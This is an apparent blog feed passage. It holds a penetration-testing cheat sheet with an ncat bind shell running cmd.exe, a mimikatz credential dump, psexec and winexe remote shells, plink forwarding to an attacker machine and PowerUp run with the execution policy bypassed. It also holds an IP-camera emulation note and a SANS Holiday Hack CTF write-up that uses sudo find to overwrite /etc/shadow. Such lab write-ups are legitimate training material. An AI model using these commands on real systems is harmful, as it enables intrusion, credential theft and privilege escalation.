localhost:8888 http://&lt;host-ip&gt; <span class="c"># By editing proxychains config can be used for nearly any tool</span> proxychains nmap <span class="nt">-sT</span> <span class="nt">-Pn</span> <span class="nt">--top-ports</span><span class="o">=</span>20 &lt;host-ip&gt; </code></pre></div></div> <p>RDP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xfreerdp /u:&lt;user&gt; /d:WORKGROUP /p:&lt;password&gt; /v:&lt;host-ip&gt; </code></pre></div></div> <p>psexec</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>winexe <span class="nt">-U</span> &lt;user&gt;%&lt;password&gt; //&lt;host-ip&gt; cmd.ex </code></pre></div></div> <h3 id="windows-1">Windows</h3> <p>plink</p> <p>Forward ports to attacker machine:</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">plink.exe</span><span class="w"> </span><span class="nt">-l</span><span class="w"> </span><span class="nx">root</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">host-ip</span><span class="err">&gt;</span><span class="w"> </span><span class="nt">-R</span><span class="w"> </span><span class="nx">8443:127.0.0.1:8443</span><span class="w"> </span><span class="nt">-R</span><span class="w"> </span><span class="nx">8014:127.0.0.1:8014</span><span class="w"> </span><span class="nt">-R</span><span class="w"> </span><span class="nx">9090:127.0.0.1:9090</span><span class="w"> </span></code></pre></div></div> <p>nc ncat netcat</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># start encrypted bind shell on port 444</span> ncat <span class="nt">--exec</span> cmd.exe <span class="nt">--allow</span> 10.11.0.61 <span class="nt">-vnl</span> 4444 <span class="nt">--ssl</span> <span class="c"># connect to this shell</span> ncat <span class="nt">-v</span> &lt;host-ip&gt; 4444 <span class="nt">--ss</span> </code></pre></div></div> <h2 id="tools">Tools</h2> <p>mimikatz</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#dump all passwords</span><span class="w"> </span><span class="n">sekurlsa::logonPasswords</span><span class="w"> </span><span class="nx">full</span><span class="w"> </span></code></pre></div></div> <p>openssl</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># creating MD5 linux hash</span> openssl passwd <span class="nt">-1</span> <span class="nt">-salt</span> AbCD4536 &lt;password&gt; </code></pre></div></div> <p>psexec</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create remote cmd shell on another host</span><span class="w"> </span><span class="n">psexec</span><span class="w"> </span><span class="nx">\\</span><span class="err">&lt;</span><span class="nx">host-ip</span><span class="err">&gt;</span><span class="w"> </span><span class="nt">-u</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">domain\\user</span><span class="err">&gt;</span><span class="w"> </span><span class="nt">-p</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">password</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span></code></pre></div></div> <p>Powershell</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Invoke Powershell script without changing cmd context</span><span class="w"> </span><span class="n">powershell.exe</span><span class="w"> </span><span class="nt">-exec</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-Command</span><span class="w"> </span><span class="s2">"&amp; {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"</span><span class="w"> </span></code></pre></div></div> <p>nmap</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sT</span> <span class="nt">--script</span> whois-ip,ssh-hostkey,banner,dns-zone-transfer,ftp-bounce,ftp-syst,ftp-anon ,finger,pptp-version,http-apache-negotiation,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth ,http-awstatstotals-exec,http-backup-finder,http-bigip-cookie,http-config-backup,http-devframework,http-headers,htt p-iis-webdav-vuln,http-internal-ip-disclosure,http-methods,http-mobileversion-checker,http-open-proxy,http-php-vers ion,http-robots.txt,http-robtex-shared-ns,http-security-headers,http-shellshock,http-title,http-vhosts,http-enum,im ap-capabilities,imap-ntlm-info,ms-sql-empty-password,ms-sql-info,ms-sql-ntlm-info,mysql-info,mysql-empty-password,m ysql-databases,mysql-variables,mysql-enum,pop3-capabilities,pop3-ntlm-info,rusers,smb-ls,smb-mbenum,smb-protocols,s mtp-commands,smtp-ntlm-info,smtp-open-relay,smtp-strangeport,ssl-cert,ssl-cert-intaddr,ssl-date,vnc-info,vnc-title &lt;host-ip&gt; </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-Pn</span> <span class="nt">-p-</span> <span class="nt">-vv</span> &lt;ip address&gt; nmap <span class="nt">-Pn</span> <span class="nt">-p-</span> <span class="nt">-sU</span> <span class="nt">-vv</span> &lt;ip address&gt; nmap <span class="nt">-Pn</span> <span class="nt">-sV</span> <span class="nt">-O</span> <span class="nt">-pT</span>:<span class="o">{</span>TCP ports<span class="o">}</span>,U:<span class="o">{</span>UDP ports<span class="o">}</span> <span class="nt">-script</span> <span class="k">*</span>vuln<span class="k">*</span> &lt;ip address&gt; </code></pre></div></div> <p>Compiling</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create shared library</span> gcc overwrite_puts.c <span class="nt">-o</span> overw_puts <span class="nt">-shared</span> <span class="nt">-fPIC</span> <span class="c"># crosscompiling from linux to exe for 32-bit</span> i686-w64-mingw32-gcc 646.c <span class="nt">-lws2_32</span> <span class="nt">-o</span> 646.exe Grep <span class="c"># grep for IP addresses</span> <span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"[0-9]{1,3}</span><span class="se">\.</span><span class="s2">[0-9]{1,3}</span><span class="se">\.</span><span class="s2">[0-9]{1,3}</span><span class="se">\.</span><span class="s2">[0-9]{1,3}"</span> </code></pre></div></div> <p>Tcpdump</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># using -X to output raw traffic</span> tcpdump <span class="nt">-nX</span> <span class="nt">-r</span> password_cracking_filtered.pcap | <span class="nb">grep</span> <span class="nt">-A10</span> GET </code></pre></div></div> <h3 id="tcpdump-filter">Tcpdump-Filter</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># extract IP addresses from pcap</span> tcpdump <span class="nt">-n</span> <span class="nt">-r</span> dump.pcap | <span class="nb">awk</span> <span class="nt">-F</span><span class="s2">" "</span> <span class="s1">'{print $3}'</span> | <span class="nb">sort</span> <span class="nt">-u</span> | <span class="nb">head</span><span class="sb">`</span> <span class="c"># filter for http requests</span> tcpdump <span class="nt">-A</span> <span class="nt">-s</span> 0 <span class="s1">'tcp port 10443 and (((ip[2:2] - ((ip[0]&amp;0xf)&lt;&lt;2)) - ((tcp[12]&amp;0xf&gt;&gt;2)) != 0)'</span> <span class="nt">-i</span> eth0 <span class="c"># filter destination host</span> tcpdump <span class="nt">-n</span> dst host 172.16.40.10 <span class="nt">-r</span> password_cracking_filtered.pcap <span class="c"># filter for source host</span> tcpdump <span class="nt">-n</span> src host 172.16.40.10 <span class="nt">-r</span> password_cracking_filter <span class="c"># filter port</span> tcpdump <span class="nt">-n</span> port 81 <span class="nt">-r</span> password_cracking_filtered.pcap <span class="c"># extract only ACK and PUSH packets</span> tcpdump <span class="nt">-A</span> <span class="nt">-n</span> <span class="s1">'tcp[13] = 24'</span> <span class="nt">-r</span> password_cracking_filtered.pcap </code></pre></div></div> <h3 id="iptables">iptables</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create traffic counter for specific net</span> iptables <span class="nt">-N</span> subnet_scan iptables <span class="nt">-A</span> INPUT <span class="nt">-d</span> 10.11.1.0/24 <span class="nt">-j</span> subnet_scan iptables <span class="nt">-vL</span> INPUT </code></pre></div></div>herrfederReverse ShellsHacking An IPCamera Part22018-01-09T16:00:00+00:002018-01-09T16:00:00+00:00https://herrfeder.github.io/embeddedsec/2018/01/09/Hacking-A-IP-Camera-Part2<p>As I assume, that the npc binary holds the gSoup service, I will try to emulate it for easier debugging and reversing. Trying to emulate the npc service:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo chroot . ./qemu-arm-static -g 2222 ./bak/npc/npc &amp; </code></pre></div></div> <p>Will result in this errors:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>open hi_gpio device error open hi_gpio device error open hi_gpio device error open hi_gpio device error Unsupported ioctl: cmd=0x0003 fgCmosWorkUp: error: regctl ioctl fail </code></pre></div></div> <p>Afterwards execution will stop. It tries to access the gpio pins and triggers some sysexit. To set up my environment I will try to execute a SSH server on the IPCam to enable debugging via gdbremote on the IPCam. Before doing this I have to do some further reversing of this binary to hopefully reveal some secrets about it’s communication.</p> <p>Searching for “soap” strings in the binary only matches occurences in the .text sector. So I have to find out, when are this strings referenced.</p> <p>To be continued…</p>herrfederSANS Holiday Hacking Challenge2018-01-04T16:00:00+00:002018-01-04T16:00:00+00:00https://herrfeder.github.io/ctf/2018/01/04/SANS-Holiday-Hacking-Challenge-2017<ul id="markdown-toc"> <li><a href="#overview" id="markdown-toc-overview">Overview</a></li> <li><a href="#1-terminal-challenges" id="markdown-toc-1-terminal-challenges">1 Terminal Challenges</a> <ul> <li><a href="#isit42-overwrite-c-functions-with-preload-wunorse-openslae" id="markdown-toc-isit42-overwrite-c-functions-with-preload-wunorse-openslae">Isit42 (Overwrite C-Functions with Preload) Wunorse Openslae</a></li> <li><a href="#kill-santaslittlehelperd-sparkle-redberry" id="markdown-toc-kill-santaslittlehelperd-sparkle-redberry">Kill santaslittlehelperd Sparkle Redberry</a></li> <li><a href="#execute-elftalkd-bushy-evergreen" id="markdown-toc-execute-elftalkd-bushy-evergreen">Execute elftalkd Bushy Evergreen</a></li> <li><a href="#starting-arm-train-binary-pepper-minstix" id="markdown-toc-starting-arm-train-binary-pepper-minstix">Starting ARM Train binary Pepper Minstix</a></li> <li><a href="#execute-file-without-permissions-holly-evergreen" id="markdown-toc-execute-file-without-permissions-holly-evergreen">Execute File without Permissions Holly Evergreen</a></li> <li><a href="#extract-information-minty-candycane" id="markdown-toc-extract-information-minty-candycane">Extract Information Minty Candycane</a></li> <li><a href="#edit-shadow-without-rights-shinny-upatree" id="markdown-toc-edit-shadow-without-rights-shinny-upatree">Edit Shadow without Rights Shinny Upatree</a></li> <li><a href="#inspecting-christmassongsdb-sugarplum-mary" id="markdown-toc-inspecting-christmassongsdb-sugarplum-mary">Inspecting christmassongs.db Sugarplum Mary</a></li> </ul> </li> <li><a href="#2-apache-struts-server" id="markdown-toc-2-apache-struts-server">2 Apache Struts Server</a></li> <li><a href="#3-network-reconnaisance--smb-server" id="markdown-toc-3-network-reconnaisance--smb-server">3 Network Reconnaisance &amp; SMB Server</a></li> <li><a href="#windows-smb-server" id="markdown-toc-windows-smb-server">Windows SMB Server</a></li> <li><a href="#mail-server-with-custom-cookie-based-encryption" id="markdown-toc-mail-server-with-custom-cookie-based-encryption">Mail Server with custom Cookie based encryption</a></li> <li><a href="#online-resource-management-with-xml-external-entity-xxe-vulnerability" id="markdown-toc-online-resource-management-with-xml-external-entity-xxe-vulnerability">Online Resource Management with XML External Entity (XXE) Vulnerability</a></li> <li><a href="#database-with-xss-vulnerability-javascript-web-token-jwt-vulnerability-and-ldap-injection-vulnerability" id="markdown-toc-database-with-xss-vulnerability-javascript-web-token-jwt-vulnerability-and-ldap-injection-vulnerability">Database with XSS Vulnerability, JavaScript Web Token (JWT) Vulnerability and LDAP Injection Vulnerability</a> <ul> <li><a href="#xss" id="markdown-toc-xss">XSS</a></li> <li><a href="#jwt" id="markdown-toc-jwt">JWT</a></li> </ul> </li> </ul> <h2 id="overview">Overview</h2> <p>I will cut the lovely story behind the hacking tasks short. The homebase of Santa Clause is threatened by Giant Snowballs. Someone or something is throwing these snowballs onto the peaceful christmastown and you have to find out what’s going on. To get some hints you have to solve some terminal challenges. That are web emulated shells with a given task. For solving these tasks one of the busy christmals elves will give you hints for the main tasks.</p> <h2 id="1-terminal-challenges">1 Terminal Challenges</h2> <h3 id="isit42-overwrite-c-functions-with-preload-wunorse-openslae">Isit42 (Overwrite C-Functions with Preload) Wunorse Openslae</h3> <p>Opening the Terminal will welcome you with the description for the challenge:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Wunorse Openslae has a special challenge <span class="k">for </span>you. Run the given binary, make it <span class="k">return </span>42. Use the partial <span class="nb">source </span><span class="k">for </span>hints, it is just a clue. You will need to write your own code, but only a line or two. total 88 <span class="nt">-rwxr-xr-x</span> 1 root root 84824 Dec 16 16:56 isit42 <span class="nt">-rw-r--r--</span> 1 root root 654 Dec 16 16:56 isit42.c.un </code></pre></div></div> <p>There is a file given that includes the important parts of the binary:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include &lt;stdio.h&gt; </span><span class="c1">// DATA CORRUPTION ERROR</span> <span class="c1">// MUCH OF THIS CODE HAS BEEN LOST</span> <span class="c1">// FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE</span> <span class="c1">// MAKE THE isit42 BINARY RETURN 42</span> <span class="c1">// YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME</span> <span class="kt">int</span> <span class="nf">getrand</span><span class="p">()</span> <span class="p">{</span> <span class="n">srand</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Calling rand() to select a random number.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="c1">// The prototype for rand is: int rand(void);</span> <span class="k">return</span> <span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">4096</span><span class="p">;</span> <span class="c1">// returns a pseudo-random integer between 0 and 4096</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span> <span class="kt">int</span> <span class="n">randnum</span> <span class="o">=</span> <span class="n">getrand</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">randnum</span> <span class="o">==</span> <span class="mi">42</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Yay!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Boo!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">randnum</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>With the hint from <a href="https://pen-testing.sans.org/blog/2017/12/06/go-to-the-head-of-the-class-ld-preload-for-the-win">SANS Blog</a> it was obvious that I can use <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> to overwrite standard libc functions. overwrite_getrand.c :</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include &lt;stdio.h&gt; </span><span class="kt">int</span> <span class="nf">rand</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="mi">4138</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>When compiling you have to use specific flags:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc overwrite_getrand.c <span class="nt">-o</span> overwrite_getrand <span class="nt">-shared</span> <span class="nt">-fPIC</span> </code></pre></div></div> <ul> <li>shared will create a shared library</li> <li>fPIC is used to create position independent code This will make sure it overwrites functions from other shared libraries. When executing it will now output the right value. <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">LD_PRELOAD</span><span class="o">=</span><span class="s2">"</span><span class="nv">$PWD</span><span class="s2">/overwrite_getrand"</span> ./isit42 </code></pre></div> </div> </li> </ul> <h3 id="kill-santaslittlehelperd-sparkle-redberry">Kill santaslittlehelperd Sparkle Redberry</h3> <p>Sparkle will give you a very easy and hard task, too, when you are not looking into the right files.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My name is Sparkle Redberry, and I need your help. My server is atwist, and I fear I may yelp. Help me <span class="nb">kill </span>the troublesome process gone awry. I will <span class="k">return </span>the favor with a gift before nigh. Kill the <span class="s2">"santaslittlehelperd"</span> process to <span class="nb">complete </span>this challenge. </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@efae06a0bf5f:~<span class="nv">$ </span>ps <span class="nt">-fax</span> PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 8 pts/0 S 0:00 /usr/bin/santaslittlehelperd 11 pts/0 S 0:00 /sbin/kworker 18 pts/0 S 0:00 <span class="se">\_</span> /sbin/kworker 12 pts/0 S 0:00 /bin/bash 107 pts/0 R+ 0:00 <span class="se">\_</span> ps <span class="nt">-fax</span> </code></pre></div></div> <p>After some damning about this task because of it simplicity I got the problem. All popular commands to kill processes have aliases to prevent actually killing anything. That feels like monkeyshines for admins.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@efae06a0bf5f:~<span class="nv">$ </span><span class="nb">alias alias </span><span class="nv">alert</span><span class="o">=</span><span class="s1">'notify-send --urgency=low -i "$([ $? = 0 ] &amp;&amp; echo terminal || echo error)" "$(history|tail -n1|sed -e '</span><span class="se">\'</span><span class="s1">'s/^\s*[0-9]\+\s*//;s/[;&amp;|]\s*alert$//'</span><span class="se">\'</span><span class="s1">')"'</span> <span class="nb">alias </span><span class="nv">egrep</span><span class="o">=</span><span class="s1">'egrep --color=auto'</span> <span class="nb">alias </span><span class="nv">fgrep</span><span class="o">=</span><span class="s1">'fgrep --color=auto'</span> <span class="nb">alias grep</span><span class="o">=</span><span class="s1">'grep --color=auto'</span> <span class="nb">alias kill</span><span class="o">=</span><span class="s1">'true'</span> <span class="nb">alias </span><span class="nv">killall</span><span class="o">=</span><span class="s1">'true'</span> <span class="nb">alias </span><span class="nv">l</span><span class="o">=</span><span class="s1">'ls -CF'</span> <span class="nb">alias </span><span class="nv">la</span><span class="o">=</span><span class="s1">'ls -A'</span> <span class="nb">alias </span><span class="nv">ll</span><span class="o">=</span><span class="s1">'ls -alF'</span> <span class="nb">alias ls</span><span class="o">=</span><span class="s1">'ls --color=auto'</span> <span class="nb">alias </span><span class="nv">pkill</span><span class="o">=</span><span class="s1">'true'</span> <span class="nb">alias </span><span class="nv">skill</span><span class="o">=</span><span class="s1">'true'</span> </code></pre></div></div> <p>With this knowledge I used “top” and pressed k to kill the process. Afterwards you have to refresh the page to solve it silently.</p> <h3 id="execute-elftalkd-bushy-evergreen">Execute elftalkd Bushy Evergreen</h3> <p>Bushy wants you to find a executable. When you are familiar with grep this is very easy.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My name is Bushy Evergreen, and I have a problem <span class="k">for </span>you. I think a server got owned, and I can only offer a clue. We use the system <span class="k">for </span>chat, to keep toy production running. Can you <span class="nb">help </span>us recover from the server connection shunning? Find and run the elftalkd binary to <span class="nb">complete </span>this challenge. </code></pre></div></div> <p>When using grep with recursive option on the system root you can find it easily.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@11cb77f0b8ea:~$ grep -rli elftalkd / 2&gt;/dev/null | grep elftalk /run/elftalk/bin/elftalkd </code></pre></div></div> <h3 id="starting-arm-train-binary-pepper-minstix">Starting ARM Train binary Pepper Minstix</h3> <p>Seeing a nice ASCII train Pepper would like you to execute a given binary.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My name is Pepper Minstix, and I need your <span class="nb">help </span>with my plight. I<span class="s1">'ve crashed the Christmas toy train, for which I am quite contrite. I should not have interfered, hacking it was foolish in hindsight. If you can get it running again, I will reward you with a gift of delight. total 444 -rwxr-xr-x 1 root root 454636 Dec 7 18:43 trainstartup </span></code></pre></div></div> <p>It’s executable by anyone but it’s the architecture that matters:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@bdaf2542fc01:~<span class="nv">$ </span>file trainstartup trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 <span class="o">(</span>GNU/Linux<span class="o">)</span>, statically linked, <span class="k">for </span>GNU/Linux 3.2.0, BuildID[sha1]<span class="o">=</span>005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped </code></pre></div></div> <p>My first thought is emulation and I guess thats the intended solution:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@bdaf2542fc01:~<span class="nv">$ </span>/usr/bin/qemu-arm trainstartup Starting up ... </code></pre></div></div> <h3 id="execute-file-without-permissions-holly-evergreen">Execute File without Permissions Holly Evergreen</h3> <p>Hollys challenge will ask you to execute a file.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My name is Holly Evergreen, and I have a conundrum. I broke the candy cane striper, and I'm near throwing a tantrum. Assembly lines have stopped since the elves can't get their candy cane fix. We hope you can start the striper once again, with your vast bag of tricks. Run the CandyCaneStriper executable to complete this challenge. </code></pre></div></div> <p>The desired file isn’t owned by your user:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@a986aaa7e476:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> total 68 drwxr-xr-x 1 elf elf 4096 Dec 15 20:00 <span class="nb">.</span> drwxr-xr-x 1 root root 4096 Dec 5 19:31 .. <span class="nt">-rw-r--r--</span> 1 elf elf 220 Aug 31 2015 .bash_logout <span class="nt">-rw-r--r--</span> 1 root root 3143 Dec 15 19:59 .bashrc <span class="nt">-rw-r--r--</span> 1 elf elf 655 May 16 2017 .profile <span class="nt">-rw-r--r--</span> 1 root root 45224 Dec 15 19:59 CandyCaneStriper </code></pre></div></div> <p>As it is allowed to read the file and we can use encoding utilities like base64 we can simply copy the content into a new file and execute it.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@a986aaa7e476:~<span class="nv">$ </span><span class="nb">cat </span>CandyCaneStriper | <span class="nb">base64</span> <span class="o">&gt;</span> CandyCaneStriper_base64 elf@a986aaa7e476:~<span class="nv">$ </span><span class="nb">cat </span>CandyCaneStriper_base64 | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> CandyCaneStriper_elf elf@a986aaa7e476:~<span class="nv">$ </span><span class="nb">cp</span> /bin/touch test_file elf@a986aaa7e476:~<span class="nv">$ </span><span class="nb">cp </span>CandyCaneStriper_elf test_file </code></pre></div></div> <h3 id="extract-information-minty-candycane">Extract Information Minty Candycane</h3> <p>Minty gives us a http server log and wants us to find the least popular one:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Minty Candycane here, I need your <span class="nb">help </span>straight away. We<span class="s1">'re having an argument about browser popularity stray. Use the supplied log file from our server in the North Pole. Identifying the least-popular browser is your noteworthy goal. </span></code></pre></div></div> <p>Maybe there are more elegant ways to exclude information progressively but it was the easiest way at first glance:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>access.log | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> facebook | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> mozilla | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> safari | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> zmeu | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> slack | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> sysscan | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> googlebot | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> twitter | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> wget | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> masscan | <span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-i</span> python </code></pre></div></div> <p>After excluding a lot of browser entries I found the one, that occurs only a single time. I never heard of it: Dillo</p> <h3 id="edit-shadow-without-rights-shinny-upatree">Edit Shadow without Rights Shinny Upatree</h3> <p>Shinny wants you to edit the shadow file without the needed permissions:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My name is Shinny Upatree, and I've made a big mistake. I fear it's worse than the time I served everyone bad hake. I've deleted an important file, which suppressed my server access. I can offer you a gift, if you can fix my ill-fated redress. Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge. </code></pre></div></div> <p>When inspecting the sudoers file it occurs that my user is allowed to run <code class="language-plaintext highlighter-rouge">find</code> with shadow group rights. As find allows many exec operations on top it’s easy to cook a bash command:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sudo</span> <span class="o">-</span><span class="n">g</span> <span class="n">shadow</span> <span class="n">find</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span> <span class="o">-</span><span class="n">type</span> <span class="n">f</span> <span class="o">-</span><span class="n">name</span> <span class="n">shadow</span><span class="p">.</span><span class="n">bak</span> <span class="o">-</span><span class="n">exec</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">cp</span> <span class="p">{}</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">shadow</span> <span class="err">\</span><span class="p">;</span> </code></pre></div></div> <h3 id="inspecting-christmassongsdb-sugarplum-mary">Inspecting christmassongs.db Sugarplum Mary</h3> <p>Sugarplum would like you to do some SQL queries to find the most popular christmas song.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sugarplum Mary is <span class="k">in </span>a tizzy, we hope you can assist. Christmas songs abound, with many likes <span class="k">in </span>our midst. The database is populated, ready <span class="k">for </span>you to address. Identify the song whose popularity is the best. total 20684 <span class="nt">-rw-r--r--</span> 1 root root 15982592 Nov 29 19:28 christmassongs.db <span class="nt">-rwxr-xr-x</span> 1 root root 5197352 Dec 7 15:10 runtoanswer </code></pre></div></div> <p>Inspecting the database file and its tables it will reveal it’s structure. You have to count the likes depending on a given songid:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>elf@907587d5d549:~<span class="nv">$ </span>sqlite3 christmassongs.db SQLite version 3.11.0 2016-02-15 17:29:24 Enter <span class="s2">".help"</span> <span class="k">for </span>usage hints. sqlite&gt; .schema CREATE TABLE songs<span class="o">(</span> <span class="nb">id </span>INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT, artist TEXT, year TEXT, notes TEXT <span class="o">)</span><span class="p">;</span> CREATE TABLE likes<span class="o">(</span> <span class="nb">id </span>INTEGER PRIMARY KEY AUTOINCREMENT, like INTEGER, datetime INTEGER, songid INTEGER, FOREIGN KEY<span class="o">(</span>songid<span class="o">)</span> REFERENCES songs<span class="o">(</span><span class="nb">id</span><span class="o">)</span> <span class="o">)</span><span class="p">;</span> </code></pre></div></div> <p>You can do this with the <code class="language-plaintext highlighter-rouge">HAVING</code> syntax. It gives you the possibility to count all columns for a given value <code class="language-plaintext highlighter-rouge">like==1</code> and <code class="language-plaintext highlighter-rouge">songid</code>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlite&gt; SELECT like,songid,COUNT(*) c FROM likes where like==1 GROUP BY songid HAVING c &gt; 1700 limit 100; 1|90|1715 1|98|1706 1|134|1719 1|199|1702 1|245|1756 1|265|1720 1|392|8996 </code></pre></div></div> <p>Querying this songid from the second table gives us the songs name:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select title,id from songs where id=392; Stairway to Heaven|392 </code></pre></div></div> <h2 id="2-apache-struts-server">2 Apache Struts Server</h2> <p>Task: 2) Investigate the Letters to Santa application at <img src="https://l2s.northpolechristmastown.com" alt="Letter_2_Santa_Web_App" />. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password?</p> <p>Sparkle Redberry gives a lot of hints about this tasks. It’s very important to get this because all the other servers are only accessible internally over this one. We can summarize the hints from Sparkle:</p> <ul> <li>Sometimes development content won’t be deleted in production state of websites</li> <li>Alabaster, the admin, uses Apache Struts</li> <li>Backdoors and webshells are good to access system remotely</li> <li>Example for simple PHP webshell and <a href="https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985">Link</a></li> <li>Some silly developers leave hardcoded credentials behind</li> <li>Isn’t vulnerable against CVE-2017-5638</li> <li>Special character issues of XML and how to avoid them for exploiting with <a href="https://pen-testing.sans.org/blog/2017/12/05/why-you-need-the-skills-to-tinker-with-publicly-released-exploit-code">Link</a></li> </ul> <p>SiteScreenshot</p> <p>Following the first hint I inspect the source code of the site:</p> <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;/body&gt;</span> <span class="c">&lt;!-- Development version --&gt;</span> <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"http://dev.northpolechristmastown.com"</span> <span class="na">style=</span><span class="s">"display: none;"</span><span class="nt">&gt;</span>Access Development Version<span class="nt">&lt;/a&gt;</span> <span class="nt">&lt;script&gt;</span> </code></pre></div></div> <p>Nmapping both servers reveals that it’s the same machine with multiple webservers serving different subdomains.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap l2s.northpolechristmastown.com Starting 